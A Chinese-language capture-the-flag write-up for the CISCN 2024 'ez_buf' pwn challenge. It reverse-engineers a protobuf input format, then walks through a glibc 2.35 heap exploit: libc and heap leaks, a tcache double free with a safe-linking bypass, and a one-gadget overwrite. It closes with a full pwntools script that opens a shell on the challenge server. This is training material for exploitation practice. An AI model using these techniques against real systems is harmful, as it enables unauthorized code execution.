[CISCN 2024] ez_buf

1778587472891-ee1d86f6-301f-4fe7-9089-b4f5bc6e4069.png

逆向 protobuf 结构体：

看一下字符串，发现有很多以 what 开头的字符串

1778587493050-e25da5d4-0045-4f40-997f-cd22399e2b8a.png1778587542531-169dc253-5564-432b-94a7-5ab04ad18a58.png

典型的 protobuf 结构体，我们看一下 whatcon 的内容：

1778587592229-a6617d57-c9b8-47ce-8527-6b17fc6d28e6.png

这里 0xBAE8 (+0x8)的地方就是 idx，+0x10 偏移的地方就是结构体元素类型：0xF 对应的是 bytes

1
2
3
message pwn {
  optional bytes whatcon = 1;
}
内存数值 (Dec) 内存数值 (Hex) 对应 Proto 类型 底层 Wire Type 实战内存占用特征
0 0x00 int32 0 (Varint) 占 4 字节（有符号）
1 0x01 sint32 0 (Varint) 占 4 字节（ZigZag 压缩编码）
2 0x02 sfixed32 5 (32-bit) 占 4 字节（固定长度）
3 0x03 int64 0 (Varint) 占 8 字节
4 0x04 sint64 0 (Varint) 占 8 字节
5 0x05 sfixed64 1 (64-bit) 占 8 字节（固定长度）
6 0x06 uint32 0 (Varint) 占 4 字节（无符号）
7 0x07 fixed32 5 (32-bit) 占 4 字节
8 0x08 uint64 0 (Varint) 占 8 字节
9 0x09 fixed64 1 (64-bit) 占 8 字节
10 0x0A float 5 (32-bit) 占 4 字节
11 0x0B double 1 (64-bit) 占 8 字节
12 0x0C bool 0 (Varint) 占 4 字节（实际存 0 或 1）
13 0x0D enum 0 (Varint) 占 4 字节
14 0x0E string 2 (Length-del) 占 8 字节（仅存指向字符串的指针 char*）
15 0x0F bytes 2 (Length-del) 占 16 字节（复合结构体 ProtobufCBinaryData）
16 0x10 message 2 (Length-del) 占 8 字节（指向子 Message 实例的指针）

1778587734457-96aa291b-cef6-402f-95a1-b76e3450e44b.png

下面结构体也是一样，最终得到 protobuf 结构体是：

1
2
3
4
5
6
7
8
9
10
syntax = "proto2";
package Devicemsg;

message pwn {
  optional bytes whatcon = 1;
  optional sint64 whattodo = 2;
  optional sint64 whatidx = 3;
  optional sint64 whatsize = 4;
  optional sint32 whatsthis = 5;
}

在二进制文件同级目录下创建 ez_buf.proto 文件：

1778588002754-24abbe27-5c29-4608-bbec-06b368245a6f.png

1
protoc --python_out=./ ./ez_buf.proto

命令执行成功后，会在 --python_out 当前目录下生成一个专属的 Python 模块文件。

生成的文件名有严格的固定格式：原文件名 _pb2.py

1778588118322-fc48a395-af7c-4dad-9be7-9c8b132af9a8.png

之后我们就可以导入模块：import ez_buf_pb2 编写 exp

忘记换 libc 了，现在 patch 一下：

1778588660647-7ff98219-7b07-4e30-b6fc-d0e8d75deae6.png

程序分析：

sub_1839

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void *sub_1389()
{
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
    qword_C328 = seccomp_init(2147418112);
    seccomp_rule_add(qword_C328, 0, 257, 0);
    seccomp_rule_add(qword_C328, 0, 19, 0);
    seccomp_rule_add(qword_C328, 0, 20, 0);
    seccomp_rule_add(qword_C328, 0, 0, 0);
    seccomp_rule_add(qword_C328, 0, 17, 0);
    seccomp_rule_add(qword_C328, 0, 18, 0);
    seccomp_rule_add(qword_C328, 0, 59, 0);
    seccomp_rule_add(qword_C328, 0, 303, 0);
    seccomp_rule_add(qword_C328, 0, 304, 0);
    seccomp_rule_add(qword_C328, 0, 322, 0);
    seccomp_rule_add(qword_C328, 0, 327, 0);
    seccomp_rule_add(qword_C328, 0, 328, 0);
    seccomp_rule_add(qword_C328, 0, 428, 0);
    seccomp_rule_add(qword_C328, 0, 437, 0);
    seccomp_rule_add(qword_C328, 0, 327, 0);
    seccomp_rule_add(qword_C328, 0, 296, 0);
    seccomp_rule_add(qword_C328, 0, 295, 0);
    buf = (char *)malloc(0x410u);
    return malloc(0x410u);
}

main

1778589976896-ff3172e7-7820-457c-a6f0-036c90826150.png

sub_1934 传入了 6 个参数，都是 v4+固定偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __fastcall sub_1934(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, unsigned int a6)
{
    int result; // eax

    switch ( a3 )
    {
        case 0LL:
            result = sub_167D();
            break;
        case 1LL:
            result = sub_1688(a4, a1, a2);
            break;
        case 2LL:
            result = sub_1712(a4);
            break;
        case 3LL:
            result = sub_17A6(a4, a6, a5, a1, a2);
            break;
        case 4LL:
            _exit(0);
        default:
            result = printf("what?\n");
            break;
    }
    return result;
}

进入到 sub_1688 看一下，发现 a2 这个参数并没有什么用处

1778590217835-b3d3f3c9-fffe-4e59-885a-a6a683fd8ced.png

1
result = sub_1688(a4, a1, a2);

那么在 sub_1688 当中的第二个参数 a2 实际上是传入的参数 a1，也就是说 a1 是无意义的。

这也就可以证明我们逆向出的 protobuf 结构体分别对应的是 a2-a6

如果不放心的话还可以看一下 sub_17a6，发现传入的第四个参数 a1 也是没有用的。

1
2
3
4
5
6
7
8
9
10
syntax = "proto2";
package Devicemsg;

message pwn {
  optional bytes whatcon = 1;      --> a2
  optional sint64 whattodo = 2;    --> a3
  optional sint64 whatidx = 3;     --> a4
  optional sint64 whatsize = 4;    --> a5
  optional sint32 whatsthis = 5;   --> a6
}

然后我们修改命名为 switch 函数，接下来就是逆向寻找 add 等常规的增删改查：

switch：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __fastcall switch(__int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, unsigned int a6)
{
        int result; // eax

        switch ( a3 )
        {
            case 0LL:
                result = NULL();
                break;
            case 1LL:
                result = add(a4, a1, a2);                 // a4 -> idx ;a2 ->con
                break;
            case 2LL:
                result = delete_uaf_0(a4);                // a4 -> idx
                break;
            case 3LL:
                result = show(a4, a6, a5, a1, a2);
                break;
            case 4LL:
                _exit(0);
            default:
                result = printf("what?\n");
                break;
        }
        return result;
}

add

1
2
3
4
5
6
7
8
9
10
void *__fastcall add(unsigned int a1, __int64 a2, const void *a3)
{
    unsigned int v5; // [rsp+2Ch] [rbp-4h]

    v5 = a1;
    if ( a1 > 8 )
        v5 = 8;
    *((_QWORD *)&qword_C0A0 + v5) = malloc(0x30u);
    return memcpy(*((void **)&qword_C0A0 + v5), a3, 0x30u);// 把comment memcpy到开辟的0x30
}

show

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// 46512
unsigned __int64 __fastcall show(unsigned int idx, int this, __int64 size, __int64 a4, char *todo)
{
  char delim; // [rsp+33h] [rbp-1Dh] BYREF 
  unsigned int idx_1; // [rsp+34h] [rbp-1Ch]
  char *v10; // [rsp+38h] [rbp-18h]
  char v11[7]; // [rsp+41h] [rbp-Fh] BYREF
  unsigned __int64 v12; // [rsp+48h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  idx_1 = idx;
  delim = this;
  strcpy(v11, "hahaha");
  if ( idx <= 8 && qword_C0A0[idx_1] )
    v10 = (char *)qword_C0A0[idx_1];
  else
    v10 = v11;
  printf("Content:");
  if ( this == 255 )
  {
    seccomp_load();
    strtok(todo, &delim);
    v10 = strtok(0, &delim);
  }
  if ( size == 48 )
  {
    strtok(buf, &delim);
    v10 = strtok(0, &delim);
  }
  printf("%s\n", v10);
  free(buf);
  if ( ++dword_C084 == 3 )
  {
    close(1);
    close(2);
  }
  return v12 - __readfsqword(0x28u);
}

a1 = idx ;a2 = this = delim ;a3 = size ;a5 = todo

程序检查你传入的 whatidx 是否在 0~8 之间。如果该下标对应的全局数组 qword_C0A0 里有指针，就把指针赋给 v10 并用 printf("%s\n", v10) 打印出来。

1
2
3
4
char str[] = "Hello, world! This is C programming.";
const char delim[] = " ,.!";              // 分隔符：空格、逗号、句号、感叹号

char *token = strtok(str, delim);         // 本质上就是字符分割

中间这一部分的 if 判断不用多做考虑，一般不会进入这里

1
2
3
4
5
6
7
if ( size == 48 ) // 当传入的 whatsize == 48 时触发
{
    strtok(buf, &delim);     // 第一次调用 strtok：以 delim 为界，截取 buf 的第一段
    v10 = strtok(0, &delim); // 第二次调用 strtok：传入 0，继续截取 delim 后面的第二段数据
}
printf("%s\n", v10);         // 打印第二段数据的内容
free(buf);                   // 直接释放全局指针 buf 指向的堆内存
1
2
3
4
if ( ++dword_C084 == 3 ) {
    close(1); // 关闭标准输出 stdout
    close(2); // 关闭标准错误 stderr
}
  • 全局计数器 dword_C084 记录调用此函数的次数。当第 3 次调用时，程序会关闭输出流
  • 这意味着我们最多只能用这个函数泄露 2 次信息，比如一次泄露 Heap 地址，一次泄露 Libc 地址。第 3 次调用后你就再也看不到程序的任何打印输出了。

EXP 思路：

封装函数：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def add(idx, data):
    chunk = ez_buf_pb2.pwn()
    chunk.whatcon = data
    chunk.whattodo = 1
    chunk.whatidx = idx
    chunk.whatsize = 0
    chunk.whatsthis = 0
    p.sendafter("WANT?\n", chunk.SerializeToString())

def delete(idx):
    chunk = ez_buf_pb2.pwn()
    chunk.whatcon = b"0"
    chunk.whattodo = 2
    chunk.whatidx = idx
    chunk.whatsize = 0
    chunk.whatsthis = 0
    p.sendafter("WANT?\n", chunk.SerializeToString())

def show(idx):
    chunk = ez_buf_pb2.pwn()
    chunk.whatcon = b'0'
    chunk.whattodo = 3
    chunk.whatidx = idx
    chunk.whatsize = 0
    chunk.whatsthis = 0
    p.sendafter("WANT?\n", chunk.SerializeToString())

首先是根据 protobuf 进行函数封装，保证参数传递准确无误，之后就开始构造堆风水。

一开始写的时候就发现，初始环境中已经挂载了很多 bins，我们可以观察这些 bins 可以做什么：

1778649855370-665e3957-6106-4d36-b80d-d11219ca46df.png

我们在没有进行任何操作的时候发现 bins 当中就挂载着一个大小为 0xd0 的 smallbin，当我们进行 add 的时候就会调用 smallbins，由于 add 的 memcpy 操作会导致实际创建了 2 个 0x40 大小的 chunk。由于没有清零指针，我们创建的堆大概率是携带 main_arena 的，可以动调去看一眼：

1
2
add(0, b'b'*0x8)
dbg()

1778650469995-03a97152-eb70-4852-ad73-93d34d47fad1.png

事实也确实如此，在 bbbbbbbb 之后确实存在 main_arena + 96 的地址，我们可以去泄露 libc_base：

泄露 libc_base：

1
2
3
4
5
6
7
8
9
show(0)
# dbg()

p.recvuntil(b'Content:bbbbbbbb')
leak_addr = u64(p.recv(6).ljust(8, b'\x00')) 
log.success(f'leak_addr is: {hex(leak_addr)}')
libc_base = leak_addr- 0x21ace0
log.success(f'libc_base is {hex(libc_base)}')
dbg()

1778649681657-7e5fffa8-d1f1-4afd-b15a-f04e4550eeb4.png

由于 FULL-RELRO 的存在，我们不得不去寻找相应的 one_gadgets 而不能篡改 got 表，那么要篡改 one_gadgets 就需要寻找 heap_base，说实在的，他初始化的堆环境太乱了，看都要看半天：

利用 UAF 泄露 heap_base：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
for i in range(9):
    add(i+1, b'b'*0x8)

for i in range(7):
    delete(6-i)

show(6)
p.recvuntil(b'Content:')
heap_addr = (u64(p.recv(5).ljust(8, b'\x00')) << 12)
log.success(f'heap_addr is {hex(heap_addr)}') 
heap_base = heap_addr - 0x4000
log.success(f'heap_base is {hex(heap_base)}')
dbg()

1778653272514-6c0fdfd9-4dd4-4872-a152-6b78f904b7a6.png

这里对 tcachebin 进行了填充和释放，是为了接下来的 Tcachebin Poisoning

Tcachebin Poisoning

我们在上面的步骤依旧存留着 chunk7 和 chunk8 没有 free，在这一步会用做 Doublefree 进行地址任意写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
delete(7)
delete(8)
delete(7)

for i in range(7):
    add(i, b'a'*0x8)

# 4. 计算 Safe-Linking 掩码并劫持指针
key = heap_addr >> 12
log.success(f'key is {hex(key)}')

ABS = libc_base + 0x21a098
log.success(f'ABS is {hex(ABS)}')

pl = p64((ABS + 0x8) ^ (key + 4))
add(0, pl)       # 7
add(1, b'a'*8)   # 8
add(2, b'a'*8)   # 7

1778656716377-3ea6708a-d172-45ea-9e23-44fd980e7251.png

1
readelf -S ./libc.so.6 | grep got

chunk6 是最早释放进去的，所以它在链表尾部，next = NULL。

在 glibc 2.35 里，freed chunk 的用户区前 8 字节会被拿来存 tcache fd，而且是 safe-linking 过的：

1
2
3
4
5
6
7
8
stored_fd = next ^ (chunk_addr >> 12)
对 chunk6 来说:
next = NULL
stored_fd = 0 ^ (chunk6_addr >> 12) = chunk6_addr >> 12

因此:leak = chunk6_addr >> 12
leak << 12                                # -> chunk6 所在页的页对齐地址
- 0x4000                                  # -> 推回 heap 基址

获取 shell

1
2
3
4
5
backdoor = libc_base + 0x10d9ca
add(3, p64(backdoor)*4)

p.sendline('ls')
p.interactive()

1778663135767-9c46c701-877a-4196-8135-3054299234bc.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from pwn import *
from ctypes import *
import ez_buf_pb2

context.os = 'linux'
context.arch = 'amd64'
context.log_level = "debug"

# p = process('./pwn_patched')
# p = process(['./ld-2.35.so', './pwn_patched'])
p = remote('pwn.challenge.ctf.show',28204)
elf = ELF('./pwn_patched')
libc = ELF('./libc.so.6')
# context.terminal=["tmux","splitw","-h"]

def dbg():
    gdb.attach(p)
    pause()

def add(idx, data):
    chunk = ez_buf_pb2.pwn()
    chunk.whatcon = data
    chunk.whattodo = 1
    chunk.whatidx = idx
    chunk.whatsize = 0
    chunk.whatsthis = 0
    p.sendafter("WANT?\n", chunk.SerializeToString())

def delete(idx):
    chunk = ez_buf_pb2.pwn()
    chunk.whatcon = b"0"
    chunk.whattodo = 2
    chunk.whatidx = idx
    chunk.whatsize = 0
    chunk.whatsthis = 0
    p.sendafter("WANT?\n", chunk.SerializeToString())

def show(idx):
    chunk = ez_buf_pb2.pwn()
    chunk.whatcon = b'0'
    chunk.whattodo = 3
    chunk.whatidx = idx
    chunk.whatsize = 0
    chunk.whatsthis = 0
    p.sendafter("WANT?\n", chunk.SerializeToString())

 
def shell():
    chunk = ez_buf_pb2.pwn()
    chunk.whattodo = 3
    chunk.whatidx = 3
    chunk.whatsize = 0x30
    chunk.whatcon = b'a;' + b'/bin/sh\x00'
    chunk.whatsthis = 0
    p.sendafter('WANT?\n', chunk.SerializeToString())
 

# 1. 泄露 Libc 基址
# dbg()
add(0, b'b'*0x8)
# dbg()
show(0)
# dbg()

p.recvuntil(b'Content:bbbbbbbb')
leak_addr = u64(p.recv(6).ljust(8, b'\x00')) 
log.success(f'leak_addr is: {hex(leak_addr)}')
libc_base = leak_addr- 0x21ace0
log.success(f'libc_base is {hex(libc_base)}')

# dbg()

# 2. 布局 Tcache 并泄露 Heap 基址
for i in range(9):
    add(i+1, b'b'*0x8)

for i in range(7):
    delete(6-i)

show(6)
p.recvuntil(b'Content:')
heap_addr = (u64(p.recv(5).ljust(8, b'\x00')) << 12)
log.success(f'heap_addr is {hex(heap_addr)}') 
heap_base = heap_addr - 0x4000
log.success(f'heap_base is {hex(heap_base)}')
# dbg()

# Tcache Ponisoning
delete(7)
delete(8)
delete(7)

for i in range(7):
    add(i, b'a'*0x8)

# 4. 计算 Safe-Linking 掩码并劫持指针
key = heap_addr >> 12
log.success(f'key is {hex(key)}')

ABS = libc_base + 0x21a098
log.success(f'ABS is {hex(ABS)}')

pl = p64((ABS + 0x8) ^ (key + 4))
add(0, pl)
add(1, b'a'*8)
add(2, b'a'*8)
# 5. 写入 One-Gadget 获取 Shell

backdoor = libc_base + 0x10d9ca # 85 88 e2 d28 d3f d43
add(3, p64(backdoor)*4)


p.sendline('ls')

p.interactive()


更新: 2026-05-19 15:59:16
原文: https://www.yuque.com/idcm/wnemg9/wml7dibvg6fvyy91